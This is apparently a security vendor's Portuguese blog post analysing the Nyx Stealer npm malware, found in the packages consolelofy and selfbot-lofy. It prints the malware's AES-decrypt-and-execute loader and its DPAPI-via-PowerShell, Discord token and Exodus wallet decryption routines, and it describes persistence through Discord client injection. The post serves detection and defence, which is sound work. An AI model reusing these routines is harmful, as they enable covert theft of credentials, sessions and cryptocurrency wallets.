npm Infostealer

Nova descoberta de roubo de informações no npm: Nyx ​​Stealer sequestra sessões do Discord

TL, DR

A Equipe de Pesquisa de Segurança Xygeni Identificamos uma sofisticada campanha de roubo de informações via npm, distribuída por meio de dois pacotes maliciosos: consolelofy e selfbot-lofy.

A última versão (consolelofy@1.3.0) incorpora uma carga útil criptografada com AES de 216 KB que é descriptografada em tempo de execução e executada via vm.runInNewContext()Como a lógica maliciosa está totalmente criptografada, os scanners estáticos que dependem da inspeção de strings não conseguem observar seu comportamento até o momento da execução.

Uma vez descriptografada, a carga útil, com marca interna Nyx Stealer, alvos:

  • Tokens de autenticação do Discord
  • Mais de 50 armazenamentos de credenciais de navegador
  • Mais de 90 extensões para carteiras de criptomoedas
  • Sessões do Roblox, Instagram, Spotify, Steam, Telegram e TikTok
  • Persistência do cliente de desktop do Discord

Todas as 20 versões em ambos os pacotes foram relatadas e confirmadas como maliciosas.

Visão geral técnica deste Infostealer do npm

Ao contrário dos malwares tradicionais instalados durante a instalação, esta campanha depende de um tempo de execução modelo de decriptação.

Tem:

  • Sem intenção maliciosa preinstall or postinstall hooks
  • Sem chamadas de rede óbvias durante a instalação
  • Sem lógica de coleta de credenciais em texto simples

A carga útil é ativada quando o módulo é importado. Todo o conteúdo malicioso é criptografado e só se materializa na memória em tempo de execução.

Este design evita especificamente a detecção durante a instalação do pacote.

Como esse Infostealer do npm realmente funciona

Antes de analisarmos o que Nyx Stealer rouba, precisamos entender... como ele é executado.

A lógica maliciosa dentro deste infostealer do npm segue um padrão consistente:

Um pequeno carregador descriptografa uma grande carga útil criptografada e a executa dinamicamente dentro de um contexto de máquina virtual Node.js.

Este design é deliberado. O atacante não está ocultando funcionalidades apenas por meio de ofuscação, ele está removendo completamente o código malicioso da visibilidade estática..

Modelo de Execução de Alto Nível

Em linhas gerais, o wrapper realiza quatro funções:

  • Deriva uma chave AES de uma senha codificada usando SHA-256.
  • Decifra um texto cifrado hexadecimal extenso usando AES-256-CBC.
  • Executa o JavaScript descriptografado usando vm.runInNewContext()
  • Fornece um ambiente isolado (sandbox) que ainda expõe primitivas de tempo de execução poderosas.

Resumo da técnica principal

Componente Configuração/Valor
Algoritmo AES-256-CBC
Derivação de chave SHA-256 (senha)
Vetor de Inicialização (IV) 16 bytes de 0x00
Execução vm.runInNewContext(descriptografado, sandbox)

Fundamentalmente, a caixa de areia passa por:

  • require
  • process
  • Buffer
  • temporizadores
  • exportações de módulos

Isso significa que a carga útil descriptografada mantém a capacidade total de:

  • Processos de desova
  • Ler e gravar arquivos
  • Fazer chamadas de rede
  • Modificar aplicativos locais

Esta não é uma máquina virtual restrita. É uma máquina virtual usada como um trampolim de execução.

Padrão de criptografia em tempo de execução (mecanismo de execução principal)

A carregadeira é pequena.
O corpo malicioso não existe.

A seguir está o padrão de execução encontrado dentro do pacote:

const crypto = require('crypto');
const vm = require('vm');

function decryptAndExecute(encryptedHex, passphrase) {
    const key = crypto.createHash('sha256')
                      .update(passphrase)
                      .digest();

    const iv = Buffer.alloc(16, 0);

    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
    decrypted += decipher.final('utf8');

    const sandbox = {
        require,
        module,
        exports,
        console,
        process,
        Buffer,
        __dirname,
        __filename,
        setTimeout,
        setInterval,
        clearTimeout,
        clearInterval
    };

    vm.runInNewContext(decrypted, sandbox);
}

Porque Isto é Importante

A carga útil descriptografada:

  • Será que não existem em texto simples dentro do pacote npm
  • É invisível para os simples grep ou varredura estática de strings
  • Só se materializa na memória em tempo de execução.
  • Executa com todos os recursos do ambiente de execução Node.js.

Essa combinação de execução AES + VM é um forte indicador comportamental de um O npm infostealer está tentando burlar a inspeção estática..

Em outras palavras:

Ao analisar a árvore de código-fonte do pacote, você não encontrará nenhum programa que rouba código.
Você vê um decodificador.

O que acontece após a descriptografia?

Uma vez executado, o Nyx Stealer inicia ondas paralelas de coleta de dados.

Onda 1: Extração de credenciais do navegador

O malware:

  • Faz o download de um ambiente de execução Python do CDN do NuGet.
  • Instala bibliotecas criptográficas
  • Extrai informações de armazenamento de credenciais baseadas em Chromium.
  • Decripta segredos protegidos por DPAPI

Em vez de compilar vinculações nativas, ele utiliza o PowerShell para chamar a DPAPI do Windows diretamente.

function dpapiUnprotectWithPowerShell(dataBuf) {
    const b64 = dataBuf.toString('base64');

    const ps =
        "Add-Type -AssemblyName System.Security;" +
        "$b=[Convert]::FromBase64String('" + b64 + "');" +
        "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
        "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
        "[Console]::Out.Write([Convert]::ToBase64String($p))";

    const cmd =
        `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;

    return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}

Esta abordagem:

  • Evita artefatos de compilação
  • Utiliza APIs criptográficas nativas do Windows.
  • Integra-se às ferramentas administrativas.

Trata-se de descriptografia de credenciais em nível de sistema operacional, não de raspagem de dados.

Onda 2: Decriptação do Token do Discord

O ladrão conhece o protocolo. Ele entende o formato de token criptografado do Discord.

function decryptToken(encryptedToken, key) {
    const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
    const encryptedData = Buffer.from(tokenParts[1], 'base64');

    const iv = encryptedData.slice(3, 15);
    const ciphertext = encryptedData.slice(15, -16);
    const tag = encryptedData.slice(-16);

    const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
    decipher.setAuthTag(tag);

    return decipher.update(ciphertext).toString('utf8');
}

Fluxo operacional:

  • Extraia a chave mestra do Discord. Local State
  • Descriptografar a chave mestra via DPAPI
  • Descriptografar blocos de tokens AES-GCM
  • Validar tokens usando a API do Discord
  • Enriqueça com Nitro, emblemas e informações de faturamento.

Isso não é um simples despejo de credenciais. É um sequestro de sessão com conhecimento do protocolo.

Onda 3: Segmentação de Carteiras de Criptomoedas

O npm infostealer enumera:

  • Mais de 90 extensões de carteira para navegador
  • 27 carteiras de mesa
  • Caminhos de carteira fria
  • Arquivos de sementes do Êxodo

Exemplo de tentativa de descriptografia da semente:

function decryptSeco(content, password) {
    const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');

    const decipher = crypto.createDecipheriv(
        'aes-256-gcm',
        key,
        content.slice(0, 12)
    );

    decipher.setAuthTag(content.slice(-16));

    return Buffer.concat([
        decipher.update(content.slice(12, -16)),
        decipher.final()
    ]).toString('utf8');
}

Se bem-sucedida, a violação da carteira é imediata e irreversível.

Isso representa o vetor de monetização de maior valor da campanha.

Persistência via Injeção no Discord Desktop

Após coletar as credenciais, o Nyx Stealer tenta garantir a persistência modificando o arquivo local. Discord cliente.

Alvo:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Sequência Operacional

O ladrão de informações executa os seguintes passos:

  • Encerra processos do Discord em execução.
  • Localiza as variantes do Discord instaladas (Estável, Canary, PTB)
  • Sobrescreve discord_desktop_core/index.js
  • Injeta lógica de webhook controlada pelo atacante.
  • Reinicia o Discord

Isso garante que as futuras sessões do Discord vazem automaticamente novos tokens de autenticação.

É importante ressaltar que essa persistência não depende de tarefas agendadas ou modificações no registro. Ela utiliza modificações no código em nível de aplicativo, uma abordagem mais discreta.

Mesmo que o pacote npm malicioso seja removido posteriormente, o cliente Discord permanece comprometido.

Comparação técnica: Selfbot legítimo vs. Infostealer do npm

Componente Biblioteca legítima Nyx npm Infostealer
Criptografia nenhum Carga útil totalmente criptografada com AES
Máquina virtual de tempo de execução Não é necessária vm.runInNewContext execução
Acesso de credencial Somente a API do Discord Navegador, carteiras, DPAPI
Downloads externos Não Ambiente de execução Python via NuGet
Persistência Não Injeção do cliente Discord
Monetização Automação de bots Revenda de credenciais

A camada de criptografia por si só já diferencia esta campanha de um fork típico de código aberto.

Um bot legítimo do Discord não tem motivo para criptografar todo o seu código-fonte, executar PowerShell para acessar a DPAPI, baixar runtimes externos ou modificar o funcionamento interno de um aplicativo desktop. Quando essas funcionalidades aparecem em uma dependência que alega automatizar interações do Discord, a incompatibilidade arquitetônica se torna impossível de ignorar.

Do ponto de vista investigativo, este ladrão de informações do npm deixa rastros em várias camadas. No entanto, os indicadores mais confiáveis ​​não são URLs codificadas ou caminhos de arquivos específicos, já que estes podem mudar entre versões. Em vez disso, os sinais duradouros são estruturais.

No nível do pacote, o sinal de alerta mais forte é a combinação de uma grande carga útil criptografada e um wrapper de descriptografia em tempo de execução que é executado imediatamente via vm.runInNewContext()Embora a criptografia por si só não seja inerentemente maliciosa, usar a descriptografia AES seguida da execução dinâmica de máquinas virtuais dentro de um pacote de utilitários do Discord é altamente anômalo.

No nível do host, padrões suspeitos incluem atividade inesperada de descriptografia DPAPI, processos gerados a partir de um contexto de dependência do Node.js e modificação de arquivos locais do aplicativo que nunca deveriam ser alterados por bibliotecas de terceiros. Da mesma forma, na camada de rede, a comunicação de saída no estilo webhook iniciada por uma dependência de desenvolvimento representa outra anomalia significativa.

Em outras palavras, a superfície de detecção não é um indicador isolado de comprometimento. É a correlação entre criptografia, execução em tempo de execução, acesso a credenciais e comportamento de persistência que revela a ameaça.

Detecção e Mitigação com Xygeni

npm Infostealer

Este ladrão de informações do npm foi identificado por Alerta Antecipado de Malware (MEW) da Xygeni por meio de correlação comportamental em camadas, em vez de simples correspondência de assinaturas.

Em vez de procurar por sequências maliciosas conhecidas, o MEW avalia anomalias estruturais em toda a árvore de código-fonte. Nesse caso, a detecção surgiu da convergência de vários sinais: uma rotina de descriptografia AES incorporada no ponto de entrada do módulo, execução imediata dentro de um contexto de máquina virtual e uma clara discrepância entre capacidade e intenção.

É importante ressaltar que nenhum desses sinais isoladamente comprova intenção maliciosa. No entanto, quando analisados ​​em conjunto, revelam uma tentativa de ocultar o comportamento em tempo de execução. Essa abordagem em camadas reduz significativamente os falsos positivos, ao mesmo tempo que identifica ameaças de alta confiabilidade na cadeia de suprimentos.

Além disso, este caso ilustra por que a inspeção em tempo de instalação, por si só, é insuficiente. A lógica maliciosa não reside nos scripts de ciclo de vida. Ela é ativada somente após o carregamento do módulo e só se torna visível após ser descriptografada na memória. Portanto, uma defesa eficaz requer análise que leve em consideração a criptografia, reconhecimento de padrões comportamentais e monitoramento contínuo de dependências além dos eventos de instalação.

A remoção do registro é reativa. A análise em tempo de execução é preventiva.

Por que esse Infostealer do npm é importante

Nyx Stealer representa uma evolução estrutural em malware baseado em npm.

Historicamente, muitos pacotes maliciosos dependiam de scripts visíveis durante a instalação ou de endpoints óbvios para exfiltração de credenciais. Em contraste, esta campanha criptografa sua carga útil, adia a execução para o tempo de execução, utiliza APIs legítimas do sistema operacional e estabelece persistência dentro de aplicativos confiáveis.

Consequentemente, o atacante não precisa explorar a infraestrutura do npm em si. Em vez disso, o ataque é bem-sucedido porque a instalação de dependências pressupõe confiança. Os desenvolvedores presumem que importar uma biblioteca é uma operação segura, principalmente quando ela se apresenta como um fork plausível de uma ferramenta popular.

À medida que os ecossistemas continuam a crescer e as bifurcações proliferam, essa fronteira de confiança implícita torna-se uma superfície de ataque cada vez mais atraente. Portanto, a defesa contra os modernos ladrões de informações do npm exige o reconhecimento de padrões arquitetônicos em vez da busca por strings estáticas.

Em última análise, esta campanha reforça uma lição crucial sobre software supply chain securityAs ameaças mais perigosas não são aquelas que parecem maliciosas à primeira vista, mas sim aquelas que aparentam ser estruturalmente legítimas até que o tempo de execução revele seu verdadeiro comportamento.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
você recebe uma avaliação gratuita de 7 dias da nossa licença Business Edition e pode aproveitar alguns dos recursos avançados da plataforma SecurityScorecard.
Não é necessário cartão de crédito

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni